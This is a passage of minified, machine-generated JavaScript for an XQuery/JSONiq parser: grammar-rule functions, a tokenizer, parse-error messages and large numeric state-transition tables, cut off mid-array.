14953:case 14954:case 14956:case 14957:case 14958:case 14959:case 14960:case 14961:case 14966:case 14967:case 14969:case 14970:case 14971:case 14973:case 14974:case 14976:case 14977:case 14979:case 14980:case 14981:case 14982:case 14983:case 14984:case 14985:case 14989:case 14994:case 14996:case 14998:case 14999:case 15001:case 15002:case 15003:case 15007:case 15008:case 15009:case 15010:case 15011:case 15012:case 15014:case 15018:case 15019:case 15020:case 15022:case 15024:case 15026:case 15028:case 15029:case 15030:case 15032:case 15034:case 15040:case 15042:case 15046:case 15047:case 15048:case 15049:case 15050:case 15051:case 15054:case 15060:case 15061:case 15064:case 15066:case 15067:case 15068:case 15069:case 15070:case 15072:case 15073:case 15076:case 15077:case 15082:case 15083:case 15084:case 15085:case 15088:case 15092:case 15096:case 15097:case 15098:case 15099:case 15100:case 15102:case 15104:case 15105:case 15108:case 15109:case 15110:case 15111:case 15114:case 15115:case 15118:case 15122:os();break;case-10:case 27412:yl();break;case-11:ll();break;case 68:ml();break;case 278:al();break;default:Li()}Vl.endNonterminal(\"PrimaryExpr\",Pl)}function ul(){switch(Hl){case 184:Ll(256);break;case 216:Ll(254);break;case 276:Ll(277);break;case 82:case 121:Ll(259);break;case 96:case 244:Ll(93);break;case 119:case 202:case 256:Ll(139);break;case 6:case 70:case 72:case 73:case 74:case 75:case 77:case 79:case 80:case 81:case 83:case 84:case 85:case 86:case 88:case 89:case 90:case 91:case 93:case 94:case 97:case 98:case 101:case 102:case 103:case 104:case 105:case 106:case 108:case 109:case 110:case 111:case 112:case 113:case 118:case 122:case 123:case 125:case 126:case 128:case 129:case 131:case 132:case 133:case 134:case 135:case 136:case 137:case 141:case 146:case 148:case 150:case 151:case 153:case 154:case 155:case 159:case 160:case 161:case 162:case 163:case 164:case 166:case 170:case 171:case 172:case 174:case 176:case 178:case 180:case 181:case 182:case 186:case 192:case 194:case 198:case 199:case 200:case 201:case 203:case 206:case 212:case 213:case 218:case 219:case 220:case 221:case 222:case 224:case 225:case 228:case 229:case 234:case 235:case 236:case 237:case 240:case 248:case 249:case 250:case 251:case 252:case 254:case 257:case 260:case 261:case 262:case 263:case 266:case 267:case 270:case 274:Ll(92);break;default:_l=Hl}if(_l==2836||_l==3348||_l==4372||_l==4884||_l==5396||_l==5908||_l==16148||_l==16660||_l==17684||_l==18196||_l==20756||_l==21780||_l==22804||_l==23316||_l==23828||_l==24340||_l==27924||_l==28436||_l==30484||_l==34068||_l==35092||_l==36116||_l==37140||_l==37652||_l==38164||_l==38676||_l==39700||_l==40212||_l==40724||_l==41236||_l==41748||_l==42260||_l==42772||_l==43284||_l==43796||_l==44308||_l==45332||_l==45844||_l==46356||_l==46868||_l==47892||_l==48404||_l==49428||_l==49940||_l==50452||_l==51988||_l==52500||_l==53012||_l==53524||_l==54036||_l==54548||_l==55572||_l==56084||_l==56596||_l==57108||_l==57620||_l==58132||_l==60692||_l==61204||_l==61716||_l==62228||_l==62740||_l==63252||_l==63764||_l==64276||_l==64788||_l==65812||_l==66324||_l==67348||_l==67860||_l==68372||_l==68884||_l==69396||_l==69908||_l==70420||_l==72468||_l==74516||_l==75028||_l==76052||_l==77076||_l==77588||_l==78100||_l==78612||_l==79124||_l==79636||_l==81684||_l==82196||_l==82708||_l==83220||_l==83732||_l==84244||_l==84756||_l==85268||_l==85780||_l==87316||_l==87828||_l==88340||_l==89364||_l==90388||_l==91412||_l==92436||_l==92948||_l==93460||_l==94484||_l==94996||_l==95508||_l==98068||_l==98580||_l==99604||_l==101652||_l==102164||_l==102676||_l==103188||_l==103700||_l==104212||_l==105748||_l==108820||_l==109332||_l==110868||_l==111892||_l==112404||_l==112916||_l==113428||_l==113940||_l==114964||_l==115476||_l==115988||_l==116500||_l==117012||_l==117524||_l==120084||_l==120596||_l==121108||_l==121620||_l==123156||_l==124180||_l==124692||_l==125204||_l==127252||_l==127764||_l==128276||_l==128788||_l==129300||_l==129812||_l==130324||_l==131348||_l==131860||_l==133396||_l==133908||_l==134420||_l==134932||_l==136468||_l==136980||_l==138516||_l==140564||_l==141588||_l==142612||_l==144660){_l=Kl(14,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{bl(),Jl(14,t,-10),_l=-14}catch(a){_l=-11,Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(14,t,-11)}}}switch(_l){case 8:case 9:case 10:case 11:ui();break;case 31:ci();break;case 34:vi();break;case 44:gi();break;case 17414:case 17478:case 17480:case 17481:case 17482:case 17483:case 17485:case 17487:case 17488:case 17489:case 17491:case 17492:case 17493:case 17494:case 17496:case 17497:case 17498:case 17499:case 17501:case 17502:case 17505:case 17506:case 17509:case 17510:case 17511:case 17512:case 17513:case 17514:case 17516:case 17517:case 17518:case 17519:case 17520:case 17521:case 17526:case 17527:case 17530:case 17531:case 17533:case 17534:case 17536:case 17537:case 17539:case 17540:case 17541:case 17542:case 17543:case 17544:case 17545:case 17549:case 17554:case 17556:case 17558:case 17559:case 17561:case 17562:case 17563:case 17567:case 17568:case 17569:case 17570:case 17571:case 17572:case 17574:case 17578:case 17579:case 17580:case 17582:case 17584:case 17586:case 17588:case 17589:case 17590:case 17592:case 17594:case 17600:case 17602:case 17606:case 17607:case 17608:case 17609:case 17610:case 17611:case 17614:case 17620:case 17621:case 17626:case 17627:case 17628:case 17629:case 17630:case 17632:case 17633:case 17636:case 17637:case 17642:case 17643:case 17644:case 17645:case 17648:case 17656:case 17657:case 17658:case 17659:case 17660:case 17662:case 17664:case 17665:case 17668:case 17669:case 17670:case 17671:case 17674:case 17675:case 17678:case 17682:xi();break;case 141514:bi();break;case 141568:Ei();break;case 32:case 78:case 120:case 124:case 145:case 152:case 165:case 167:case 185:case 191:case 226:case 227:case 242:case 243:case 253:case 14854:case 14918:case 14920:case 14921:case 14922:case 14923:case 14925:case 14927:case 14928:case 14929:case 14930:case 14931:case 14932:case 14933:case 14934:case 14936:case 14937:case 14938:case 14939:case 14941:case 14942:case 14944:case 14945:case 14946:case 14949:case 14950:case 14951:case 14952:case 14953:case 14954:case 14956:case 14957:case 14958:case 14959:case 14960:case 14961:case 14966:case 14967:case 14969:case 14970:case 14971:case 14973:case 14974:case 14976:case 14977:case 14979:case 14980:case 14981:case 14982:case 14983:case 14984:case 14985:case 14989:case 14994:case 14996:case 14998:case 14999:case 15001:case 15002:case 15003:case 15007:case 15008:case 15009:case 15010:case 15011:case 15012:case 15014:case 15018:case 15019:case 15020:case 15022:case 15024:case 15026:case 15028:case 15029:case 15030:case 15032:case 15034:case 15040:case 15042:case 15046:case 15047:case 15048:case 15049:case 15050:case 15051:case 15054:case 15060:case 15061:case 15064:case 15066:case 15067:case 15068:case 15069:case 15070:case 15072:case 15073:case 15076:case 15077:case 15082:case 15083:case 15084:case 15085:case 15088:case 15092:case 15096:case 15097:case 15098:case 15099:case 15100:case 15102:case 15104:case 15105:case 15108:case 15109:case 15110:case 15111:case 15114:case 15115:case 15118:case 15122:us();break;case-10:case 27412:bl();break;case-11:cl();break;case 68:gl();break;case 278:fl();break;case-14:break;default:Ai()}}function al(){Vl.startNonterminal(\"JSONSimpleObjectUnion\",Pl),Sl(278),kl(273),Hl!=281&&(Nl(),G()),Sl(281),Vl.endNonterminal(\"JSONSimpleObjectUnion\",Pl)}function fl(){xl(278),kl(273),Hl!=281&&Y(),xl(281)}function ll(){Vl.startNonterminal(\"ObjectConstructor\",Pl),Sl(276),kl(274),Hl!=282&&(Nl(),hl()),Sl(282),Vl.endNonterminal(\"ObjectConstructor\",Pl)}function cl(){xl(276),kl(274),Hl!=282&&pl(),xl(282)}function hl(){Vl.startNonterminal(\"PairConstructorList\",Pl),dl();for(;;){if(Hl!=41)break;Sl(41),kl(267),Nl(),dl()}Vl.endNonterminal(\"PairConstructorList\",Pl)}function pl(){vl();for(;;){if(Hl!=41)break;xl(41),kl(267),vl()}}function dl(){Vl.startNonterminal(\"PairConstructor\",Pl),_f(),Sl(49),kl(267),Nl(),_f(),Vl.endNonterminal(\"PairConstructor\",Pl)}function vl(){Df(),xl(49),kl(267),Df()}function ml(){Vl.startNonterminal(\"ArrayConstructor\",Pl),Sl(68),kl(272),Hl!=69&&(Nl(),G()),Sl(69),Vl.endNonterminal(\"ArrayConstructor\",Pl)}function gl(){xl(68),kl(272),Hl!=69&&Y(),xl(69)}function yl(){Vl.startNonterminal(\"BlockExpr\",Pl),Sl(276),kl(277),Nl(),$a(),Sl(282),Vl.endNonterminal(\"BlockExpr\",Pl)}function bl(){xl(276),kl(277),Ja(),xl(282)}function wl(){Vl.startNonterminal(\"FunctionDecl\",Pl),Sl(145),kl(255),Nl(),Ha(),kl(22),Sl(34),kl(94),Hl==31&&(Nl(),U()),Sl(37),kl(148),Hl==79&&(Nl(),El()),kl(118);switch(Hl){case 276:Sl(276),kl(277),Nl(),$a(),Sl(282);break;default:Sl(133)}Vl.endNonterminal(\"FunctionDecl\",Pl)}function El(){Vl.startNonterminal(\"ReturnType\",Pl),Sl(79),kl(260),Nl(),ms(),Vl.endNonterminal(\"ReturnType\",Pl)}function Sl(e){Hl==e?(Nl(),Vl.terminal(i.TOKEN[Hl],Bl,jl>Gl?Gl:jl),Dl=Bl,Pl=jl,Hl=Fl,Hl!=0&&(Bl=Il,jl=ql,Fl=0)):Ml(Bl,jl,0,Hl,e)}function xl(e){Hl==e?(Dl=Bl,Pl=jl,Hl=Fl,Hl!=0&&(Bl=Il,jl=ql,Fl=0)):Ml(Bl,jl,0,Hl,e)}function Tl(e){var t=Dl,n=Pl,r=Hl,i=Bl,s=jl;Hl=e,Bl=Yl,jl=Zl,Fl=0,Pa(),Dl=t,Pl=n,Hl=r,Hl!=0&&(Bl=i,jl=s)}function Nl(){Pl!=Bl&&(Dl=Pl,Pl=Bl,Vl.whitespace(Dl,Pl))}function Cl(e){var t;for(;;){t=ec(e);if(t!=22){if(t!=36)break;Tl(t)}}return t}function kl(e){Hl==0&&(Hl=Cl(e),Bl=Yl,jl=Zl)}function Ll(e){Fl==0&&(Fl=Cl(e),Il=Yl,ql=Zl),_l=Fl<<9|Hl}function Al(e){Hl==0&&(Hl=ec(e),Bl=Yl,jl=Zl)}function Ol(e){Fl==0&&(Fl=ec(e),Il=Yl,ql=Zl),_l=Fl<<9|Hl}function Ml(e,t,r,i,s){throw t>Ul&&(Rl=e,Ul=t,zl=r,Wl=i,Xl=s),new n.ParseException(Rl,Ul,zl,Wl,Xl)}function Jl(e,t,n){$l[(t<<4)+e]=n}function Kl(e,t){var n=$l[(t<<4)+e];return typeof n!=\"undefined\"?n:0}function ec(e){var t=!1;Yl=Zl;var n=Zl,r=i.INITIAL[e],s=0;for(var o=r&4095;o!=0;){var u,a=n<Gl?Ql.charCodeAt(n):0;++n;if(a<128)u=i.MAP0[a];else if(a<55296){var f=a>>4;u=i.MAP1[(a&15)+i.MAP1[(f&31)+i.MAP1[f>>5]]]}else{if(a<56320){var f=n<Gl?Ql.charCodeAt(n):0;f>=56320&&f<57344&&(++n,a=((a&1023)<<10)+(f&1023)+65536,t=!0)}var l=0,c=5;for(var h=3;;h=c+l>>1){if(i.MAP2[h]>a)c=h-1;else{if(!(i.MAP2[6+h]<a)){u=i.MAP2[12+h];break}l=h+1}if(l>c){u=0;break}}}s=o;var p=(u<<12)+o-1;o=i.TRANSITION[(p&15)+i.TRANSITION[p>>4]],o>4095&&(r=o,o&=4095,Zl=n)}r>>=12;if(r==0){Zl=n-1;var f=Zl<Gl?Ql.charCodeAt(Zl):0;return f>=56320&&f<57344&&--Zl,Ml(Yl,Zl,s,-1,-1)}if(t)for(var d=r>>9;d>0;--d){--Zl;var f=Zl<Gl?Ql.charCodeAt(Zl):0;f>=56320&&f<57344&&--Zl}else Zl-=r>>9;return(r&511)-1}r(e,t);var n=this;this.ParseException=function(e,t,n,r,i){var s=e,o=t,u=n,a=r,f=i;this.getBegin=function(){return s},this.getEnd=function(){return o},this.getState=function(){return u},this.getExpected=function(){return f},this.getOffending=function(){return a},this.getMessage=function(){return a<0?\"lexical analysis failed\":\"syntax error\"}},this.getInput=function(){return Ql},this.getOffendingToken=function(e){var t=e.getOffending();return t>=0?i.TOKEN[t]:null},this.getExpectedTokenSet=function(e){var t;return e.getExpected()<0?t=i.getTokenSet(-e.getState()):t=[i.TOKEN[e.getExpected()]],t},this.getErrorMessage=function(e){var t=this.getExpectedTokenSet(e),n=this.getOffendingToken(e),r=Ql.substring(0,e.getBegin()),i=r.split(\"\\n\"),s=i.length,o=i[s-1].length+1,u=e.getEnd()-e.getBegin();return e.getMessage()+(n==null?\"\":\", found \"+n)+\"\\nwhile expecting \"+(t.length==1?t[0]:\"[\"+t.join(\", \")+\"]\")+\"\\n\"+(u==0||n!=null?\"\":\"after successfully scanning \"+u+\" characters beginning \")+\"at line \"+s+\", column \"+o+\":\\n...\"+Ql.substring(e.getBegin(),Math.min(Ql.length,e.getBegin()+64))+\"...\"},this.parse_XQuery=function(){Vl.startNonterminal(\"XQuery\",Pl),kl(275),Nl(),o(),Sl(25),Vl.endNonterminal(\"XQuery\",Pl)};var _l,Dl,Pl,Hl,Bl,jl,Fl,Il,ql,Rl,Ul,zl,Wl,Xl,Vl,$l,Ql,Gl,Yl,Zl};r.getTokenSet=function(e){var t=[],n=e<0?-e:INITIAL[e]&4095;for(var i=0;i<284;i+=32){var s=i,o=(i>>5)*3694+n-1,u=o>>1,a=u>>2,f=r.EXPECTED[(o&1)+r.EXPECTED[(u&3)+r.EXPECTED[(a&3)+r.EXPECTED[a>>2]]]];for(;f!=0;f>>>=1,++s)(f&1)!=0&&t.push(r.TOKEN[s])}return t},r.MAP0=[70,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,17,17,17,17,17,17,17,17,17,18,19,20,21,22,23,24,25,26,27,28,29,26,30,30,30,30,30,31,32,33,30,30,34,30,30,35,30,30,30,36,30,30,37,38,39,38,30,38,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,38,38],r.MAP1=[108,124,214,214,214,214,214,214,214,214,214,214,214,214,214,214,156,181,181,181,181,181,214,215,213,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,247,261,277,293,309,355,371,387,423,423,423,415,339,331,339,331,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,440,440,440,440,440,440,440,324,339,339,339,339,339,339,339,339,401,423,423,424,422,423,423,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,338,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,423,70,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,17,17,17,17,17,17,17,17,17,18,19,20,21,22,23,24,25,26,27,28,29,26,30,30,30,30,30,31,32,33,30,30,30,30,30,30,30,30,30,30,30,30,30,30,38,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,34,30,30,35,30,30,30,36,30,30,37,38,39,38,30,38,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,38,38,38,38,38,38,38,38,38,38,38,38,30,30,38,38,38,38,38,38,38,69,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69],r.MAP2=[57344,63744,64976,65008,65536,983040,63743,64975,65007,65533,983039,1114111,38,30,38,30,30,38],r.INITIAL=[1,12290,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287],r.TRANSITION=[42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,25651,25666,25670,25670,25670,18189,25670,25670,25670,25670,18201,25670,25670,25670,25670,18176,25670,25671,18217,42516,42516,42516,27632,42516,42516,51474,42516,42516,42516,42516,42516,42516,42516,32629,20505,21066,18953,21068,19019,18919,18270,40105,18293,18315,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,51199,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21141,42516,42516,42516,42516,48069,42516,42516,42516,42516,25917,18730,20976,20988,20999,21015,25420,18732,21040,42516,42516,42516,27632,42516,42516,51474,31122,42516,42516,42516,42516,42516,42516,32629,20505,21066,18953,21068,21056,21084,18270,40105,18293,18315,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,51199,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,23286,21107,42516,42516,42516,39416,42516,42516,43470,47286,25568,42516,42516,42516,42516,23672,41495,21126,21160,42516,42516,42516,27632,42516,42516,35938,42516,42516,42516,42516,42516,42516,42516,32629,20505,21066,18953,21068,19019,25556,18270,40105,18293,18315,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,51199,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21176,21248,42516,42516,42516,50595,42516,42516,42445,42516,25917,23619,21211,21279,21269,21226,21240,44419,21040,42516,42516,42516,27632,21302,42516,32247,42516,42516,42516,42516,42516,42516,42516,32629,20505,21066,18953,21068,19019,19871,21321,40105,18293,18315,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,51199,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,21344,26008,18612,18632,18596,21349,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21141,42510,42516,42516,42516,48894,42515,42516,51366,42516,21365,42504,21403,42515,21410,42516,27599,27612,21040,42516,42516,42516,27632,42516,42516,51474,42516,42516,42516,42516,42516,42516,42516,32629,20505,21066,18953,21068,19019,18919,18270,40105,18293,18315,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,51199,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21141,42516,42516,42516,42516,48069,21426,42516,42516,42516,22170,42516,42516,21445,42516,42516,21468,21481,21040,42516,42516,42516,27632,42516,42516,51474,42516,42516,42516,42516,42516,42516,42516,32629,20505,21066,18953,21068,19019,18919,18270,40105,18293,18315,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,51199,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21141,42516,42516,42516,42516,48069,42516,42516,42516,42516,24484,42516,42516,42516,42516,42516,42516,42517,21497,42516,42516,42516,27632,42516,42516,51474,42516,42516,42516,42516,42516,42516,42516,32629,20505,21066,18953,21068,19019,18919,18270,40105,18293,18315,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,21513,25598,18486,18508,51408,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,25358,21538,42516,42516,42516,29996,42516,42516,26519,46446,25383,42516,42516,42516,42516,25736,28473,18232,21557,42516,42516,42516,27632,42516,42516,51474,21573,42516,42516,42516,42516,4251